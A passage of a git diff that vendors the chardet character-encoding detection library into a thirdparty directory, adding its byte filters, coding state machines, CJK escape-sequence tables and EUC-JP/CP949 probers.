filter_high_byte_only(buf): + buf = re.sub(b'([\x00-\x7F])+', b' ', buf) + return buf + + @staticmethod + def filter_international_words(buf): + """ + We define three types of bytes: + alphabet: english alphabets [a-zA-Z] + international: international characters [\x80-\xFF] + marker: everything else [^a-zA-Z\x80-\xFF] + + The input buffer can be thought to contain a series of words delimited + by markers. This function works to filter all words that contain at + least one international character. All contiguous sequences of markers + are replaced by a single space ascii character. + + This filter applies to all scripts which do not use English characters. + """ + filtered = bytearray() + + # This regex expression filters out only words that have at-least one + # international character. The word may include one marker character at + # the end. + words = re.findall(b'[a-zA-Z]*[\x80-\xFF]+[a-zA-Z]*[^a-zA-Z\x80-\xFF]?', + buf) + + for word in words: + filtered.extend(word[:-1]) + + # If the last character in the word is a marker, replace it with a + # space as markers shouldn't affect our analysis (they are used + # similarly across all languages and may thus have similar + # frequencies). + last_char = word[-1:] + if not last_char.isalpha() and last_char < b'\x80': + last_char = b' ' + filtered.extend(last_char) + + return filtered + + @staticmethod + def filter_with_english_letters(buf): + """ + Returns a copy of ``buf`` that retains only the sequences of English + alphabet and high byte characters that are not between <> characters. + Also retains English alphabet and high byte characters immediately + before occurrences of >. + + This filter can be applied to all scripts which contain both English + characters and extended ASCII characters, but is currently only used by + ``Latin1Prober``. + """ + filtered = bytearray() + in_tag = False + prev = 0 + + for curr in range(len(buf)): + # Slice here to get bytes instead of an int with Python 3 + buf_char = buf[curr:curr + 1] + # Check if we're coming out of or entering an HTML tag + if buf_char == b'>': + in_tag = False + elif buf_char == b'<': + in_tag = True + + # If current character is not extended-ASCII and not alphabetic... + if buf_char < b'\x80' and not buf_char.isalpha(): + # ...and we're not in a tag + if curr > prev and not in_tag: + # Keep everything after last non-extended-ASCII, + # non-alphabetic character + filtered.extend(buf[prev:curr]) + # Output a space to delimit stretch we kept + filtered.extend(b' ') + prev = curr + 1 + + # If we're not in a tag... + if not in_tag: + # Keep everything after last non-extended-ASCII, non-alphabetic + # character + filtered.extend(buf[prev:]) + + return filtered diff --git a/thirdparty/chardet/codingstatemachine.py b/thirdparty/chardet/codingstatemachine.py new file mode 100644 index 00000000000..68fba44f143 --- /dev/null +++ b/thirdparty/chardet/codingstatemachine.py @@ -0,0 +1,88 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +import logging + +from .enums import MachineState + + +class CodingStateMachine(object): + """ + A state machine to verify a byte sequence for a particular encoding. For + each byte the detector receives, it will feed that byte to every active + state machine available, one byte at a time. The state machine changes its + state based on its previous state and the byte it receives. There are 3 + states in a state machine that are of interest to an auto-detector: + + START state: This is the state to start with, or a legal byte sequence + (i.e. a valid code point) for character has been identified. + + ME state: This indicates that the state machine identified a byte sequence + that is specific to the charset it is designed for and that + there is no other possible encoding which can contain this byte + sequence. This will to lead to an immediate positive answer for + the detector. + + ERROR state: This indicates the state machine identified an illegal byte + sequence for that encoding. This will lead to an immediate + negative answer for this encoding. Detector will exclude this + encoding from consideration from here on. + """ + def __init__(self, sm): + self._model = sm + self._curr_byte_pos = 0 + self._curr_char_len = 0 + self._curr_state = None + self.logger = logging.getLogger(__name__) + self.reset() + + def reset(self): + self._curr_state = MachineState.START + + def next_state(self, c): + # for each byte we get its class + # if it is first byte, we also get byte length + byte_class = self._model['class_table'][c] + if self._curr_state == MachineState.START: + self._curr_byte_pos = 0 + self._curr_char_len = self._model['char_len_table'][byte_class] + # from byte's class and state_table, we get its next state + curr_state = (self._curr_state * self._model['class_factor'] + + byte_class) + self._curr_state = self._model['state_table'][curr_state] + self._curr_byte_pos += 1 + return self._curr_state + + def get_current_charlen(self): + return self._curr_char_len + + def get_coding_state_machine(self): + return self._model['name'] + + @property + def language(self): + return self._model['language'] diff --git a/extra/chardet/__init__.py b/thirdparty/chardet/compat.py old mode 100755 new mode 100644 similarity index 76% rename from extra/chardet/__init__.py rename to thirdparty/chardet/compat.py index 953b3994250..ddd74687c02 --- a/extra/chardet/__init__.py +++ b/thirdparty/chardet/compat.py @@ -1,26 +1,34 @@ ######################## BEGIN LICENSE BLOCK ######################## +# Contributor(s): +# Dan Blanchard +# Ian Cordasco +# # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -__version__ = "2.0.1" +import sys -def detect(aBuf): - import universaldetector - u = universaldetector.UniversalDetector() - u.reset() - u.feed(aBuf) - u.close() - return u.result + +if sys.version_info < (3, 0): + PY2 = True + PY3 = False + base_str = (str, unicode) + text_type = unicode +else: + PY2 = False + PY3 = True + base_str = (bytes, str) + text_type = str diff --git a/thirdparty/chardet/cp949prober.py b/thirdparty/chardet/cp949prober.py new file mode 100644 index 00000000000..efd793abca4 --- /dev/null +++ b/thirdparty/chardet/cp949prober.py @@ -0,0 +1,49 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .chardistribution import EUCKRDistributionAnalysis +from .codingstatemachine import CodingStateMachine +from .mbcharsetprober import MultiByteCharSetProber +from .mbcssm import CP949_SM_MODEL + + +class CP949Prober(MultiByteCharSetProber): + def __init__(self): + super(CP949Prober, self).__init__() + self.coding_sm = CodingStateMachine(CP949_SM_MODEL) + # NOTE: CP949 is a superset of EUC-KR, so the distribution should be + # not different. + self.distribution_analyzer = EUCKRDistributionAnalysis() + self.reset() + + @property + def charset_name(self): + return "CP949" + + @property + def language(self): + return "Korean" diff --git a/thirdparty/chardet/enums.py b/thirdparty/chardet/enums.py new file mode 100644 index 00000000000..04512072251 --- /dev/null +++ b/thirdparty/chardet/enums.py @@ -0,0 +1,76 @@ +""" +All of the Enums that are used throughout the chardet package. + +:author: Dan Blanchard (dan.blanchard@gmail.com) +""" + + +class InputState(object): + """ + This enum represents the different states a universal detector can be in. + """ + PURE_ASCII = 0 + ESC_ASCII = 1 + HIGH_BYTE = 2 + + +class LanguageFilter(object): + """ + This enum represents the different language filters we can apply to a + ``UniversalDetector``. + """ + CHINESE_SIMPLIFIED = 0x01 + CHINESE_TRADITIONAL = 0x02 + JAPANESE = 0x04 + KOREAN = 0x08 + NON_CJK = 0x10 + ALL = 0x1F + CHINESE = CHINESE_SIMPLIFIED | CHINESE_TRADITIONAL + CJK = CHINESE | JAPANESE | KOREAN + + +class ProbingState(object): + """ + This enum represents the different states a prober can be in. + """ + DETECTING = 0 + FOUND_IT = 1 + NOT_ME = 2 + + +class MachineState(object): + """ + This enum represents the different states a state machine can be in. + """ + START = 0 + ERROR = 1 + ITS_ME = 2 + + +class SequenceLikelihood(object): + """ + This enum represents the likelihood of a character following the previous one. + """ + NEGATIVE = 0 + UNLIKELY = 1 + LIKELY = 2 + POSITIVE = 3 + + @classmethod + def get_num_categories(cls): + """:returns: The number of likelihood categories in the enum.""" + return 4 + + +class CharacterCategory(object): + """ + This enum represents the different categories language models for + ``SingleByteCharsetProber`` put characters into. + + Anything less than CONTROL is considered a letter. + """ + UNDEFINED = 255 + LINE_BREAK = 254 + SYMBOL = 253 + DIGIT = 252 + CONTROL = 251 diff --git a/thirdparty/chardet/escprober.py b/thirdparty/chardet/escprober.py new file mode 100644 index 00000000000..c70493f2b13 --- /dev/null +++ b/thirdparty/chardet/escprober.py @@ -0,0 +1,101 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .codingstatemachine import CodingStateMachine +from .enums import LanguageFilter, ProbingState, MachineState +from .escsm import (HZ_SM_MODEL, ISO2022CN_SM_MODEL, ISO2022JP_SM_MODEL, + ISO2022KR_SM_MODEL) + + +class EscCharSetProber(CharSetProber): + """ + This CharSetProber uses a "code scheme" approach for detecting encodings, + whereby easily recognizable escape or shift sequences are relied on to + identify these encodings. + """ + + def __init__(self, lang_filter=None): + super(EscCharSetProber, self).__init__(lang_filter=lang_filter) + self.coding_sm = [] + if self.lang_filter & LanguageFilter.CHINESE_SIMPLIFIED: + self.coding_sm.append(CodingStateMachine(HZ_SM_MODEL)) + self.coding_sm.append(CodingStateMachine(ISO2022CN_SM_MODEL)) + if self.lang_filter & LanguageFilter.JAPANESE: + self.coding_sm.append(CodingStateMachine(ISO2022JP_SM_MODEL)) + if self.lang_filter & LanguageFilter.KOREAN: + self.coding_sm.append(CodingStateMachine(ISO2022KR_SM_MODEL)) + self.active_sm_count = None + self._detected_charset = None + self._detected_language = None + self._state = None + self.reset() + + def reset(self): + super(EscCharSetProber, self).reset() + for coding_sm in self.coding_sm: + if not coding_sm: + continue + coding_sm.active = True + coding_sm.reset() + self.active_sm_count = len(self.coding_sm) + self._detected_charset = None + self._detected_language = None + + @property + def charset_name(self): + return self._detected_charset + + @property + def language(self): + return self._detected_language + + def get_confidence(self): + if self._detected_charset: + return 0.99 + else: + return 0.00 + + def feed(self, byte_str): + for c in byte_str: + for coding_sm in self.coding_sm: + if not coding_sm or not coding_sm.active: + continue + coding_state = coding_sm.next_state(c) + if coding_state == MachineState.ERROR: + coding_sm.active = False + self.active_sm_count -= 1 + if self.active_sm_count <= 0: + self._state = ProbingState.NOT_ME + return self.state + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + self._detected_charset = coding_sm.get_coding_state_machine() + self._detected_language = coding_sm.language + return self.state + + return self.state diff --git a/thirdparty/chardet/escsm.py b/thirdparty/chardet/escsm.py new file mode 100644 index 00000000000..0069523a049 --- /dev/null +++ b/thirdparty/chardet/escsm.py @@ -0,0 +1,246 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .enums import MachineState + +HZ_CLS = ( +1,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,0,0, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,0,0,0,0, # 20 - 27 +0,0,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +0,0,0,0,0,0,0,0, # 40 - 47 +0,0,0,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,4,0,5,2,0, # 78 - 7f +1,1,1,1,1,1,1,1, # 80 - 87 +1,1,1,1,1,1,1,1, # 88 - 8f +1,1,1,1,1,1,1,1, # 90 - 97 +1,1,1,1,1,1,1,1, # 98 - 9f +1,1,1,1,1,1,1,1, # a0 - a7 +1,1,1,1,1,1,1,1, # a8 - af +1,1,1,1,1,1,1,1, # b0 - b7 +1,1,1,1,1,1,1,1, # b8 - bf +1,1,1,1,1,1,1,1, # c0 - c7 +1,1,1,1,1,1,1,1, # c8 - cf +1,1,1,1,1,1,1,1, # d0 - d7 +1,1,1,1,1,1,1,1, # d8 - df +1,1,1,1,1,1,1,1, # e0 - e7 +1,1,1,1,1,1,1,1, # e8 - ef +1,1,1,1,1,1,1,1, # f0 - f7 +1,1,1,1,1,1,1,1, # f8 - ff +) + +HZ_ST = ( +MachineState.START,MachineState.ERROR, 3,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,# 00-07 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 08-0f +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START, 4,MachineState.ERROR,# 10-17 + 5,MachineState.ERROR, 6,MachineState.ERROR, 5, 5, 4,MachineState.ERROR,# 18-1f + 4,MachineState.ERROR, 4, 4, 4,MachineState.ERROR, 4,MachineState.ERROR,# 20-27 + 4,MachineState.ITS_ME,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 28-2f +) + +HZ_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0) + +HZ_SM_MODEL = {'class_table': HZ_CLS, + 'class_factor': 6, + 'state_table': HZ_ST, + 'char_len_table': HZ_CHAR_LEN_TABLE, + 'name': "HZ-GB-2312", + 'language': 'Chinese'} + +ISO2022CN_CLS = ( +2,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,0,0, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,0,0,0,0, # 20 - 27 +0,3,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +0,0,0,4,0,0,0,0, # 40 - 47 +0,0,0,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,0,0,0,0,0, # 78 - 7f +2,2,2,2,2,2,2,2, # 80 - 87 +2,2,2,2,2,2,2,2, # 88 - 8f +2,2,2,2,2,2,2,2, # 90 - 97 +2,2,2,2,2,2,2,2, # 98 - 9f +2,2,2,2,2,2,2,2, # a0 - a7 +2,2,2,2,2,2,2,2, # a8 - af +2,2,2,2,2,2,2,2, # b0 - b7 +2,2,2,2,2,2,2,2, # b8 - bf +2,2,2,2,2,2,2,2, # c0 - c7 +2,2,2,2,2,2,2,2, # c8 - cf +2,2,2,2,2,2,2,2, # d0 - d7 +2,2,2,2,2,2,2,2, # d8 - df +2,2,2,2,2,2,2,2, # e0 - e7 +2,2,2,2,2,2,2,2, # e8 - ef +2,2,2,2,2,2,2,2, # f0 - f7 +2,2,2,2,2,2,2,2, # f8 - ff +) + +ISO2022CN_ST = ( +MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 00-07 +MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 08-0f +MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 10-17 +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,# 18-1f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 20-27 + 5, 6,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 28-2f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 30-37 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,# 38-3f +) + +ISO2022CN_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0, 0, 0, 0) + +ISO2022CN_SM_MODEL = {'class_table': ISO2022CN_CLS, + 'class_factor': 9, + 'state_table': ISO2022CN_ST, + 'char_len_table': ISO2022CN_CHAR_LEN_TABLE, + 'name': "ISO-2022-CN", + 'language': 'Chinese'} + +ISO2022JP_CLS = ( +2,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,2,2, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,7,0,0,0, # 20 - 27 +3,0,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +6,0,4,0,8,0,0,0, # 40 - 47 +0,9,5,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,0,0,0,0,0, # 78 - 7f +2,2,2,2,2,2,2,2, # 80 - 87 +2,2,2,2,2,2,2,2, # 88 - 8f +2,2,2,2,2,2,2,2, # 90 - 97 +2,2,2,2,2,2,2,2, # 98 - 9f +2,2,2,2,2,2,2,2, # a0 - a7 +2,2,2,2,2,2,2,2, # a8 - af +2,2,2,2,2,2,2,2, # b0 - b7 +2,2,2,2,2,2,2,2, # b8 - bf +2,2,2,2,2,2,2,2, # c0 - c7 +2,2,2,2,2,2,2,2, # c8 - cf +2,2,2,2,2,2,2,2, # d0 - d7 +2,2,2,2,2,2,2,2, # d8 - df +2,2,2,2,2,2,2,2, # e0 - e7 +2,2,2,2,2,2,2,2, # e8 - ef +2,2,2,2,2,2,2,2, # f0 - f7 +2,2,2,2,2,2,2,2, # f8 - ff +) + +ISO2022JP_ST = ( +MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 00-07 +MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 08-0f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 10-17 +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,# 18-1f +MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,MachineState.ERROR,# 20-27 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 6,MachineState.ITS_ME,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,# 28-2f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,# 30-37 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 38-3f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,MachineState.START,# 40-47 +) + +ISO2022JP_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0) + +ISO2022JP_SM_MODEL = {'class_table': ISO2022JP_CLS, + 'class_factor': 10, + 'state_table': ISO2022JP_ST, + 'char_len_table': ISO2022JP_CHAR_LEN_TABLE, + 'name': "ISO-2022-JP", + 'language': 'Japanese'} + +ISO2022KR_CLS = ( +2,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,0,0, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,3,0,0,0, # 20 - 27 +0,4,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +0,0,0,5,0,0,0,0, # 40 - 47 +0,0,0,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,0,0,0,0,0, # 78 - 7f +2,2,2,2,2,2,2,2, # 80 - 87 +2,2,2,2,2,2,2,2, # 88 - 8f +2,2,2,2,2,2,2,2, # 90 - 97 +2,2,2,2,2,2,2,2, # 98 - 9f +2,2,2,2,2,2,2,2, # a0 - a7 +2,2,2,2,2,2,2,2, # a8 - af +2,2,2,2,2,2,2,2, # b0 - b7 +2,2,2,2,2,2,2,2, # b8 - bf +2,2,2,2,2,2,2,2, # c0 - c7 +2,2,2,2,2,2,2,2, # c8 - cf +2,2,2,2,2,2,2,2, # d0 - d7 +2,2,2,2,2,2,2,2, # d8 - df +2,2,2,2,2,2,2,2, # e0 - e7 +2,2,2,2,2,2,2,2, # e8 - ef +2,2,2,2,2,2,2,2, # f0 - f7 +2,2,2,2,2,2,2,2, # f8 - ff +) + +ISO2022KR_ST = ( +MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,# 00-07 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 08-0f +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,MachineState.ERROR,# 10-17 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 18-1f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 20-27 +) + +ISO2022KR_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0) + +ISO2022KR_SM_MODEL = {'class_table': ISO2022KR_CLS, + 'class_factor': 6, + 'state_table': ISO2022KR_ST, + 'char_len_table': ISO2022KR_CHAR_LEN_TABLE, + 'name': "ISO-2022-KR", + 'language': 'Korean'} + + diff --git a/thirdparty/chardet/eucjpprober.py b/thirdparty/chardet/eucjpprober.py new file mode 100644 index 00000000000..20ce8f7d15b --- /dev/null +++ b/thirdparty/chardet/eucjpprober.py @@ -0,0 +1,92 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .enums import ProbingState, MachineState +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import EUCJPDistributionAnalysis +from .jpcntx import EUCJPContextAnalysis +from .mbcssm import EUCJP_SM_MODEL + + +class EUCJPProber(MultiByteCharSetProber): + def __init__(self): + super(EUCJPProber, self).__init__() + self.coding_sm = CodingStateMachine(EUCJP_SM_MODEL) + self.distribution_analyzer = EUCJPDistributionAnalysis() + self.context_analyzer = EUCJPContextAnalysis() + self.reset() + + def reset(self): + super(EUCJPProber, self).reset() + self.context_analyzer.reset() + + @property + def charset_name(self): + return "EUC-JP" + + @property + def language(self): + return "Japanese" + + def feed(self, byte_str): + for i in range(len(byte_str)): + # PY3K: byte_str is a byte array, so byte_str[i] is an int, not a byte + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug('%s %s prober hit error at byte %s', + self.charset_name, self.language, i) + self._state = ProbingState.NOT_ME + break + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + break + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() + if i == 0: + self._last_char[1] = byte_str[0] + self.context_analyzer.feed(self._last_char, char_len) + self.distribution_analyzer.feed(self._last_char, char_len) + else: + self.context_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + self.distribution_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + + self._last_char[0] = byte_str[-1] + + if self.state == ProbingState.DETECTING: + if (self.context_analyzer.got_enough_data() and + (self.get_confidence() > self.SHORTCUT_THRESHOLD)): + self._state = ProbingState.FOUND_IT + + return self.state + + def get_confidence(self): + context_conf = self.context_analyzer.get_confidence() + distrib_conf = self.distribution_analyzer.get_confidence() + return max(context_conf, distrib_conf) diff --git a/thirdparty/chardet/euckrfreq.py b/thirdparty/chardet/euckrfreq.py new file mode 100644 index 00000000000..b68078cb968 --- /dev/null +++ b/thirdparty/chardet/euckrfreq.py @@ -0,0 +1,195 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# Sampling from about 20M text materials include literature and computer technology + +# 128 --> 0.79 +# 256 --> 0.92 +# 512 --> 0.986 +# 1024 --> 0.99944 +# 2048 --> 0.99999 +# +# Idea Distribution Ratio = 0.98653 / (1-0.98653) = 73.24 +# Random Distribution Ration = 512 / (2350-512) = 0.279. +# +# Typical Distribution Ratio + +EUCKR_TYPICAL_DISTRIBUTION_RATIO = 